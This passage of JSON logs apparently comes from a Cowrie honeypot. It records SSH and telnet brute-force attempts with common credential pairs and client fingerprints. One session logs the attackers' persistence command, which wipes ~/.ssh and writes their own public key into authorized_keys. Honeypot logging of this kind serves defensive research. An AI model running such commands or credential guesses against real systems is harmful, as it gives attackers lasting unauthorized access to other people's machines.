com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:39:15.703124Z","src_ip":"193.24.211.95","session":"4ca026c49a08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"incorecta","message":"login attempt [root/incorecta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:39:16.131008Z","src_ip":"193.24.211.95","session":"4ca026c49a08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:39:17.244636Z","src_ip":"193.24.211.95","session":"4ca026c49a08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.37997627258301,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:39:17.643848Z","src_ip":"104.245.105.2","session":"fbfa276b2d69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53552,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebdf6d54b8f4","protocol":"telnet","message":"New connection: 104.245.105.2:53552 (10.17.0.5:23) [session: ebdf6d54b8f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:39:19.017329Z"}
{"eventid":"cowrie.session.closed","duration":32.44349193572998,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:39:24.747553Z","src_ip":"104.245.105.2","session":"f1bf63f1136e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79549241065979,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:39:29.682782Z","src_ip":"104.245.105.2","session":"5601179a6c07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46544,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ee0d7170038","protocol":"telnet","message":"New connection: 104.245.105.2:46544 (10.17.0.5:23) [session: 2ee0d7170038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:39:33.900301Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":60826,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6649c7632d2","protocol":"ssh","message":"New connection: 2.57.122.238:60826 (10.17.0.5:22) [session: d6649c7632d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:39:42.622807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:39:42.627373Z","src_ip":"2.57.122.238","session":"d6649c7632d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:39:42.733972Z","src_ip":"2.57.122.238","session":"d6649c7632d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:39:43.045715Z","src_ip":"2.57.122.238","session":"d6649c7632d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:39:44.151948Z","src_ip":"2.57.122.238","session":"d6649c7632d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.55850291252136,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:39:54.575726Z","src_ip":"104.245.105.2","session":"ebdf6d54b8f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":57156,"dst_ip":"159.203.135.109","dst_port":22,"session":"aed3a57ece79","protocol":"ssh","message":"New connection: 186.113.245.157:57156 (159.203.135.109:22) [session: aed3a57ece79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:40:08.323929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:40:08.329420Z","src_ip":"186.113.245.157","session":"aed3a57ece79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:40:08.419914Z","src_ip":"186.113.245.157","session":"aed3a57ece79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:40:08.810604Z","src_ip":"186.113.245.157","session":"aed3a57ece79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:40:09.906713Z","src_ip":"186.113.245.157","session":"aed3a57ece79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.4730863571167,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:40:10.373219Z","src_ip":"104.245.105.2","session":"2ee0d7170038","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44868,"dst_ip":"10.17.0.5","dst_port":23,"session":"68e322723c6f","protocol":"telnet","message":"New connection: 104.245.105.2:44868 (10.17.0.5:23) [session: 68e322723c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:40:32.389006Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44880,"dst_ip":"10.17.0.5","dst_port":23,"session":"245c4b87e4d9","protocol":"telnet","message":"New connection: 104.245.105.2:44880 (10.17.0.5:23) [session: 245c4b87e4d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:40:34.690869Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54102,"dst_ip":"10.17.0.5","dst_port":23,"session":"581b42607fec","protocol":"telnet","message":"New connection: 104.245.105.2:54102 (10.17.0.5:23) [session: 581b42607fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:40:41.680076Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":49580,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fea6b95ad2a","protocol":"telnet","message":"New connection: 104.245.105.2:49580 (10.17.0.5:23) [session: 2fea6b95ad2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:40:56.715367Z"}
{"eventid":"cowrie.session.closed","duration":33.45478439331055,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:05.843664Z","src_ip":"104.245.105.2","session":"68e322723c6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57358,"dst_ip":"10.17.0.5","dst_port":23,"session":"4aff1db745f2","protocol":"telnet","message":"New connection: 104.245.105.2:57358 (10.17.0.5:23) [session: 4aff1db745f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:07.928429Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":46152,"dst_ip":"159.203.135.109","dst_port":22,"session":"e24b5ec4c315","protocol":"ssh","message":"New connection: 186.113.245.157:46152 (159.203.135.109:22) [session: e24b5ec4c315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:08.936444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:08.941061Z","src_ip":"186.113.245.157","session":"e24b5ec4c315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:09.032960Z","src_ip":"186.113.245.157","session":"e24b5ec4c315","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle321","message":"login attempt [oracle/oracle321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:09.427073Z","src_ip":"186.113.245.157","session":"e24b5ec4c315","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:09.647882Z","src_ip":"186.113.245.157","session":"e24b5ec4c315","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:09.650874Z","src_ip":"186.113.245.157","session":"e24b5ec4c315","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:09.654051Z","src_ip":"186.113.245.157","session":"e24b5ec4c315","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:09.746498Z","src_ip":"186.113.245.157","session":"e24b5ec4c315","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:09.975834Z","src_ip":"186.113.245.157","session":"e24b5ec4c315","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:09.979357Z","src_ip":"186.113.245.157","session":"e24b5ec4c315","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:10.073111Z","src_ip":"186.113.245.157","session":"e24b5ec4c315","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:10.077197Z","src_ip":"186.113.245.157","session":"e24b5ec4c315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":46560,"dst_ip":"159.203.135.109","dst_port":22,"session":"b559922093d4","protocol":"ssh","message":"New connection: 186.113.245.157:46560 (159.203.135.109:22) [session: b559922093d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:10.162935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:10.167101Z","src_ip":"186.113.245.157","session":"b559922093d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:10.260164Z","src_ip":"186.113.245.157","session":"b559922093d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:10.663418Z","src_ip":"186.113.245.157","session":"b559922093d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:11.759330Z","src_ip":"186.113.245.157","session":"b559922093d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":47076,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d7e3355d531","protocol":"ssh","message":"New connection: 186.113.245.157:47076 (159.203.135.109:22) [session: 4d7e3355d531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:11.849702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:11.854436Z","src_ip":"186.113.245.157","session":"4d7e3355d531","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:11.948033Z","src_ip":"186.113.245.157","session":"4d7e3355d531","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:12.337801Z","src_ip":"186.113.245.157","session":"4d7e3355d531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:12.431091Z","src_ip":"186.113.245.157","session":"4d7e3355d531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:12.435539Z","src_ip":"186.113.245.157","session":"e24b5ec4c315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.56266713142395,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:14.242604Z","src_ip":"104.245.105.2","session":"581b42607fec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.12812352180481,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:41:20.818858Z","src_ip":"104.245.105.2","session":"245c4b87e4d9","protocol":"telnet"}
